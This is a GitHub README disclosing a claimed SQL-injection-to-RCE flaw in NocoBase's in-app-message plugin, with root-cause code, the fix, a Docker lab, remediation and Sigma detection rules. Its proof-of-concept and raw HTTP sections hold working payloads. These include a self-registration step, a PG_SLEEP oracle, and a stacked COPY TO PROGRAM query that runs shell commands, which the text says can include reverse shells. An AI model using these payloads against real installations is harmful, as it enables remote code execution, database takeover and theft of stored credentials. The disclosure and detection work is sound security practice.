BiiTts/CVE-2026-52887-NocoBase-SQLi-RCE
GitHub: BiiTts/CVE-2026-52887-NocoBase-SQLi-RCE
该项目提供了 CVE-2026-52887(NocoBase SQL 注入至 PostgreSQL-superuser RCE)的完整概念验证、源码根因分析、Docker 复现环境与检测规则。
Stars: 0 | Forks: 0
# CVE-2026-52887 — NocoBase SQL 注入 → PostgreSQL-superuser RCE
[NocoBase](https://github.com/nocobase/nocobase) 的 `@nocobase/plugin-notification-in-app-message` (≤ 2.0.60) 插件中 `myInAppChannels:list` 操作存在的 SQL 注入。`filter[latestMsgReceiveTimestamp][$lt]` 请求参数在没有进行转义或绑定的情况下,被直接插值到原始的 `Sequelize.literal()` SQL 字符串中。通过 PostgreSQL `pg` 驱动程序对堆叠语句的支持,该注入可触达 `COPY … TO PROGRAM`,并且由于官方默认的 compose 配置将 `nocobase` 数据库角色创建为 **superuser**,这将导致以 postgres OS 用户身份执行 shell 命令。该 endpoint 需要登录用户,但默认的 auth-basic 插件开启了自行注册功能,因此任何匿名访问者都可以注册并访问它。
| | |
|---|---|
| **CVE** | CVE-2026-52887 |
| **产品** | NocoBase (`@nocobase/plugin-notification-in-app-message`) |
| **受影响版本** | ≤ 2.0.60 (在 `nocobase/nocobase:2.0.57` 上验证) |
| **修复版本** | 2.0.61 |
| **类别** | SQL 注入 (CWE-89) → OS 命令执行 |
| **CVSS 3.1** | 10.0 CRITICAL — `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` (GitHub CNA) |
| **认证** | 实际上无需认证 — 默认 auth-basic `allowSignUp: true` |
| **状态** | **确认存在漏洞** — 已在 2.0.57 上完成端到端验证 |
## 根本原因
`packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts`, `myInAppChannels:list` 处理程序 (2.0.57):
```
const latestMsgReceiveTSFilter = filter?.latestMsgReceiveTimestamp?.$lt
? Sequelize.literal(`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}`)
: null;
```
`filter.latestMsgReceiveTimestamp.$lt` 直接来自请求查询 (`filter[latestMsgReceiveTimestamp][$lt]=…`),并被拼接进 `Sequelize.literal()` 中——这是原始 SQL,没有参数绑定,也没有类型强制转换。攻击者可以闭合该比较语句并附加任意 SQL。
### 从 SQLi 到 RCE
- NocoBase 通过 `pg` 驱动程序在 PostgreSQL 上运行,该驱动程序允许 **堆叠语句** (`… ; …`)。注入的片段会附加第二条语句。
- 官方默认的 `docker-compose.yml` 通过 postgres 镜像的 `POSTGRES_USER` 创建 `nocobase` 角色,该角色**始终是 superuser**。
- superuser 可以运行 `COPY (…) TO PROGRAM ''`,从而在 DB container 内以 postgres OS 用户身份执行 ``。
### 在未认证情况下触达 endpoint
`myInAppChannels` 的 ACL 为 `loggedIn`,但默认的 `auth-basic` 插件在发布时带有 `allowSignUp: true`。匿名攻击者可以自行注册 (`POST /api/auth:signUp?authenticator=basic`),登录获取 bearer token 后继续操作——因此在默认安装的情况下,这在实际操作中相当于无需认证。
### 修复方案 (2.0.61)
`defineMyInAppChannels.ts` 添加了 `parseLatestMsgReceiveTimestampLt()`,它会强制将值通过 `Number()` 处理(拒绝非有限/非数字输入并返回 400),并改用参数绑定进行比较:
```
Sequelize.where(Sequelize.literal(latestMsgReceiveTimestampSQL), Op.lt, latestMsgReceiveTimestampLt)
```
## 概念验证
```
$ python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
[+] self-registered 'lab_operator' via auth-basic signUp
[+] signed in, bearer token acquired
[*] time-based: PG_SLEEP(5)=5.03s control=0.02s
[+] SQL injection confirmed (time-based)
[+] COPY TO PROGRAM sent (HTTP 200) - 'id > /tmp/proof 2>&1' executed as the postgres OS user
$ docker exec nb-pg cat /tmp/proof
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
```
原始 HTTP 链:
```
POST /api/auth:signUp?authenticator=basic {"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}
POST /api/auth:signIn?authenticator=basic {"account":"a","password":"P!ssw0rd1"} → {"data":{"token":"…"}}
# 基于时间的 oracle(约5秒延迟):
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0)%20AND%201=(SELECT%201%20FROM%20PG_SLEEP(5))--%20a
Authorization: Bearer
# 堆叠语句 RCE:
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0);%20COPY%20(SELECT%201)%20TO%20PROGRAM%20'id%20>%20/tmp/proof'; --%20a
Authorization: Bearer
```
`--cmd` 接受任何 shell 命令(reverse shell、OAST 回调、通过 `COPY (SELECT …) TO PROGRAM 'cat > /tmp/x'` 读取 DB 行等)。
## 复现实验
当前主机上没有 docker bridge,因此使用 host networking 运行两个 container:
```
docker run -d --name nb-pg --network host \
-e POSTGRES_USER=nocobase -e POSTGRES_PASSWORD=nocobase -e POSTGRES_DB=nocobase postgres:16
docker run -d --name nb-app --network host \
-e DB_DIALECT=postgres -e DB_HOST=127.0.0.1 -e DB_PORT=5432 \
-e DB_DATABASE=nocobase -e DB_USER=nocobase -e DB_PASSWORD=nocobase \
-e APP_KEY=change-me -e APP_PORT=13000 nocobase/nocobase:2.0.57
# NocoBase 自动安装并运行于 http://127.0.0.1:13000
python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
docker exec nb-pg cat /tmp/proof
```
已修复版本的边界测试(被拒绝):
```
docker run ... nocobase/nocobase:2.0.61 # same steps
# PG_SLEEP / COPY TO PROGRAM payloads 返回 HTTP 400;数字 $lt 仍然返回 200
```
请参阅 [`EVIDENCE.txt`](EVIDENCE.txt) 获取捕获的记录,以及 [`ANALYSIS.md`](ANALYSIS.md) 获取源码层面的分析。
## 结论
**确认存在漏洞** (`nocobase/nocobase:2.0.57`),已通过两种独立的技术进行验证:
1. **基于时间的盲注** — `PG_SLEEP(5)` payload 会使响应延迟约 5.0 秒,而在同一 endpoint 上没有 sleep 的相同请求会在约 0.03 秒内返回(排除了 rate limiter / retry 造成的假象)。
2. **堆叠语句 RCE** — 一个在请求之前不存在的文件包含了 `uid=999(postgres) gid=999(postgres)`,这是以 postgres OS 用户身份运行 `id(1)` 的真实输出,而不是 payload 的回显。
**已修复** (`nocobase/nocobase:2.0.61`) — 两个 payload 都会返回 HTTP 400,而数字型的 `$lt` 仍然返回 200。
## 影响
在数据库 container 内以 postgres OS 用户身份执行远程代码:完全读写 NocoBase 数据库,泄露所有存储的密钥和用户凭据,并成为横向移动的跳板。在默认安装下,任何匿名访问者都可以触达此漏洞。
## 修复建议
- 升级至 **NocoBase ≥ 2.0.61**。
- 不要以 superuser 身份运行应用程序的 PostgreSQL 角色;仅授予应用程序所需的权限(移除 `COPY … TO PROGRAM` 原语)。
- 在不需要的地方禁用公开自行注册 (`allowSignUp: false`)。
## 检测
`myInAppChannels:list` 请求中 `filter[latestMsgReceiveTimestamp][$lt]` 的值不是纯数字,以及包含 `COPY … TO PROGRAM` 的 PostgreSQL 日志:
```
GET /api/myInAppChannels:list with filter[latestMsgReceiveTimestamp][$lt] containing
non-numeric characters: ')', ';', 'SELECT', 'PG_SLEEP', 'COPY', '--'
postgres: statement: COPY (...) TO PROGRAM '...'
```
Sigma (webserver 访问日志):
```
title: NocoBase myInAppChannels SQL injection (CVE-2026-52887)
logsource: { category: webserver }
detection:
selection:
cs-uri-stem|contains: '/api/myInAppChannels:list'
cs-uri-query|contains:
- 'PG_SLEEP'
- 'TO PROGRAM'
- '$lt]=0)'
- '$lt]=0);'
condition: selection
level: critical
```
## License
MIT. © Caio Fabrício (BiiTts).
标签:CISA项目, Docker, MITM代理, NocoBase, PNNL实验室, PostgreSQL, 安全防御评估, 测试用例, 编程工具, 请求拦截, 远程代码执行, 逆向工具